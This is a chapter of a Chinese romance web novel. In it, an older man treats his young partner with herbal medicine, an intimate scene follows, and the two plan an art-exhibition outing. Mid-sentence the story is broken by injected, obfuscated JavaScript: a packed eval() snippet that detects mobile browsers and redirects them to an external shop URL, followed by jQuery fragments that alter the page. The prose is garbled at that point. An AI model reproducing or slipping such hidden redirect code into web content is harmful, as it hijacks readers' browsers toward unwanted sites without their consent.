47.47

作品:《一篇老房子着火文

    天气渐渐变暖,谢瑾的生活步入正轨,每天都在忙着上课,没事了就去画室泡着,非常勤奋上进。


    和余赦在一起之后谢瑾想过很多。


    他最开始希望能全身心投入和余赦的恋爱中,他想让余赦知道他有多好之后离不开他。


    但余赦显然不会同意谢瑾这样“自甘堕落”,他最不愿意看见的就是谢瑾为了恋爱耽误自己的人生进程。


    于是谢瑾开始计划着提前毕业。


    他不想把太多时间浪费在校园里,而是希望自己能早点儿进入社会面对一切,努力提升自己的心智,能够挺起胸膛站在余赦身边。


    不过每个人的精力都有限,像个罐子一样把自己的时间挤得太满未必是好事。


    谢瑾的性子本来就比较随心所欲,突然设立一个大目标难免会感觉到压力,才过了半个月而已,他嘴里就起了两个溃疡,刷牙的时候牙龈出血,眼底带着血丝。


    余赦很清楚谢瑾的想法和变化,他每天都会给谢瑾带去学校的水壶里泡一份凉茶,谢瑾喝了几天,该怎么上火还是怎么上火。


    晚上睡觉的时候,余赦摸了摸谢瑾的脉。


    谢瑾最近有多努力他看在眼里,可是他也不希望谢瑾把自己逼太紧,熬坏了身体。


    次日谢瑾放学回到家,推开门就闻到一股浓烈苦涩的药味。


    余赦站在厨房里,灶台上小火煨着一个紫砂锅,汤药在里面咕嘟咕嘟地冒着泡泡,整间屋子都弥漫着一股草药的苦香。


    “这是什么啊。”谢瑾皱着鼻子凑过去。


    余赦笑得意味深长,“给你煎的药。”


    “……”


    谢瑾张了张嘴,想说“我没病”,但是最近他状态的确不怎么好,嘴里的溃疡碰一碰就疼,一点办法都没有。


    “不是说我亲手熬的都会喝吗?”


    见谢瑾有点退缩,余赦抬手把灶火关掉,“我知道你最近很忙,但是,周六能抽出一天时间来陪我吗?”


    “嗯?”这还是余赦主动要陪呢。


    谢瑾怎么可能不答应,“好啊,不过这个药……一定得喝吗?”


    闻起来就很苦,看起来黑黢黢的,谢瑾一脸为难。


    余赦不紧不慢地把药汤倒进谢瑾平时吃饭的陶瓷碗里,“你的症状还是和之前一样,心火肝气都很旺,得好好调理才行。不要不把自己的身体状况当回事,拖久了就是沉疴,明白么?”


    “我明白的。”谢瑾意识到他太急躁了,余赦总是在教他很多自己平时注意不到的事情。


    等药稍微凉了一些,稍微能入口了,余赦让谢瑾趁热喝。


    谢瑾还是有点怂,“小叔,这个药我得喝多久啊。”


    “七天一个疗程,我每天都会给你煎。”


    碗里的药黑得像墨汁,表面浮着一层细密的泡沫,热气带着苦味直往鼻子里钻。


    谢瑾喉结不自觉地滚动了一下。


    他端起碗凑到嘴边,第一口下去就觉得人要昏迷了,他整张脸皱成一团,五官都拧在了一起。


    天啊……


    谢瑾深吸一口气,屏住呼吸把剩下的药一口气喝完,嘴紧紧闭着,整个人都在发抖。


    “张嘴。”


    谢瑾还没反应过来,一颗蜜枣被塞进嘴里,甜味在舌尖炸开,压制住了那股翻涌的苦。


    余赦把人抱进怀里轻轻拍着背,在谢瑾脸颊落下一个吻,还顺手把谢瑾嘴角的药汁擦掉,“很乖。”


    “哼。”


    如果喝完药能有抱抱和亲亲,好像也挺值的。


    药喝了三天,谢瑾觉得自己没之前那么心浮气躁了。


    溃疡终于有了愈合的倾向,牙龈没再出血,眼睛看起来也清亮了很多。


    尽管那药他喝得还是很煎熬,每次灌完都觉得浑身发麻,但余赦塞进嘴里的那颗蜜枣总是很及时。


    周六,谢瑾画完今天的练习就去书房找余赦,脸上满是笑容,声音黏糊糊的,“我今天要怎么陪你呀?”


    “之前不是说过要做脱敏训练,我已经制定好了计划,要开始吗?”


    不紧张是不可能的,谢瑾试探着问余赦:“要怎么进行呀?”


    谢瑾不是没玩过玩具,他甚至能有意识地控制自己的身体。


    但是碰见余赦的时候就没办法了。


    余赦太厉害了,轻而易举就能让谢瑾一溃千里。


    谢瑾不想在余赦面前显得太没出息,但事实就是只要一到余赦面前他身体就软得不成样子。


    “别担心,我会根据你的反应做出相应调整,不会把你玩坏的。”


    “……”


    他这么说谢瑾反而更期待了。


    能把他玩坏其实也不错的。


    谢瑾已经有反应了,他尴尬地对着余赦笑笑,“小叔,你别说这些话了,我对你完全没有自制力的。”


    沉默的人变成了余赦。


    他叹息一声把谢瑾抱起来,两人回到卧室。


    余赦手不太安分,在谢瑾腰间摸索,谢瑾觉得痒,他就紧紧握住,让谢瑾别动。


    “今天的课题是忍耐,我没有说好之前你不能松懈,否则,会有惩罚。”


    谢瑾觉得余赦有点残忍。


    他是怎么做到看着谢瑾在那儿眼泪四溅自己却巍然不动的呢?


    谢瑾求余赦,“你别再折磨我啦……”


    余赦却能摆出一副正儿八经的样子提醒谢瑾,“想想你的学业,画作,不要把注意力放在我这里。”


    谢瑾经常游泳,他腰很薄,扭起来更是销魂得不行,可余赦却像是看不到一样,全程表情都没怎么变过。


    “我没办法。”谢瑾面对余赦的时候就是能将自己最脆弱的地方暴露出来,眼泪糊住了他的眼睛,余赦的面容他已经看不太清楚了,但感受却很清晰。


    余赦用指尖拭去谢瑾的泪水,“你在我面前一直很乖,我知道。”


    谢瑾拨浪鼓似地点头。


    “但你以后会经历很多你无法控制的事情,越是这种时候,你就越得控制住自己。”


    “好绕啊。”谢瑾暂时没那么多脑容量想这些。


    余赦的笑容一如既往地包容,“初初,我总是希望你能有更多力量和勇气去面对未来,也许是我顾虑得太多,我经常在想,如果你在彻底成长为大人的过程中少受一点煎熬就好了。”


    尽管每个人要面对的事情都不一样,但余赦还是会下意识替谢瑾打算。


    他想让谢瑾拥有更多快乐。


    谢瑾吸了吸鼻子,感动得一把鼻涕一把泪的。


    “小叔,谢谢你愿意为了我考虑这么多……”


    谢瑾伸出手搂住余赦的脖子,拉近二人的距离,“我好喜欢这种感觉,你愿意指引我,拉着我不跑偏,好爱你,好爱你好爱你……”


    少年的肌肤泛着温润白皙的光泽,余赦眼神颤动,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366973|197411||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他不可能不为之动容。


    谢瑾把唇送上来的时候余赦稳稳含住。


    他知道,今天的训练怕是要暂时停止了。


    谢瑾总说自己碰上余赦的时候没什么自制力,余赦何尝不是。


    他只是比谢瑾克制一些,真要放开了谢瑾也未必受得住。


    谢瑾能感觉到余赦的小心翼翼,他却蹭着余赦,说荒唐一点也没关系的。


    “小叔……让我痛快吧,好不好?”


    余赦被谢瑾逼得眼睛发红,他掐着谢瑾的腰,哑着嗓子说了声“好”。


    下午三点。


    谢瑾倒在柔软的被子里全身无力,余赦穿着一件单裤,去厨房倒水给谢瑾喝。


    他坐在床边把谢瑾搂在怀里,自己抿了一口,用唇把水渡给谢瑾。


    谢瑾仰着头吮吸,他脸上潮红未退,身体里的热毒像是全都释放出来了,烫得不行。


    余赦目不转睛地看着。


    他承认自己这样有点下作,哄着一个才满二十岁的孩子,看他在自己的眼皮底下失去控制,不加以制止,反而让他更加沉浸其中。


    可越是这种时候余赦越能感受到一股满足的情绪在心里漾开。


    和治病救人后看对方痊愈的满足不太一样,这种情绪更加隐秘,甚至很对余赦的胃口。


    太可恶了。


    谢瑾才回过神就看见余赦满脸歉疚地垂着眼睛,他伸手抱住余赦的脖子,凑在他耳边小声说了句“谢谢”。


    余赦疑问地“嗯”了一声。


    “明明是小叔帮我,到头来却说成让我陪你,我感觉好多了,谢谢小叔。”


    余赦主动吻了吻谢瑾的唇。


    “该我谢谢你。”


    谢谢你愿意选择我,陪在我身边。


    这个年龄的男人其实已经没有多少热恋的欲望了,但是谢瑾的出现给余赦带来了全新的生命体验。


    他搅活了余赦这滩平静的池水。


    接下来几天余赦照旧给谢瑾煎药。


    谢瑾也调整了计划,不再把自己逼得太紧,好歹得留两口喘息的时间。


    一个疗程结束,谢瑾发现余赦的药真的很有用。


    他整个人都平和了不少。


    余赦倒没有邀功,“是你自己愿意调整,我的药只有辅助作用而已。”


    “那……我有没有什么奖励?”谢瑾擅长在余赦面前得了便宜卖乖。


    余赦嘴角的弧度怎么都压不住,“你想要什么?”


    谢瑾早就想好了,“最近有个画展,是国内一个挺厉害的当代艺术家的个展,探讨的是是创伤与修复的主题。开幕那天有慈善晚宴,筹款给乡村基础教育,我拿到了两张邀请函,你有空吗?”


    “什么时候?”


    “周六下午三点,可以先看展,晚宴是六点开始……要穿正装喔。”


    谢瑾特意把“正装”两个字咬得很重。


    余赦穿正装的次数不多,他平日里去上班穿得最多的就是休闲夹克,一副老干部的样子。


    先前在画展上看见余赦穿着西装朝自己款款走来的时候,那一瞬谢瑾连他和余赦的结婚地点在哪都想好了。


    只是余赦匆忙过来又离开,连个拍照的机会都没有。


    这次谢瑾可得把握好机会和余赦留下几张合影。


    余赦知道谢瑾心里那点小九九,脸上笑容也很轻快。


    “好,我知道了。”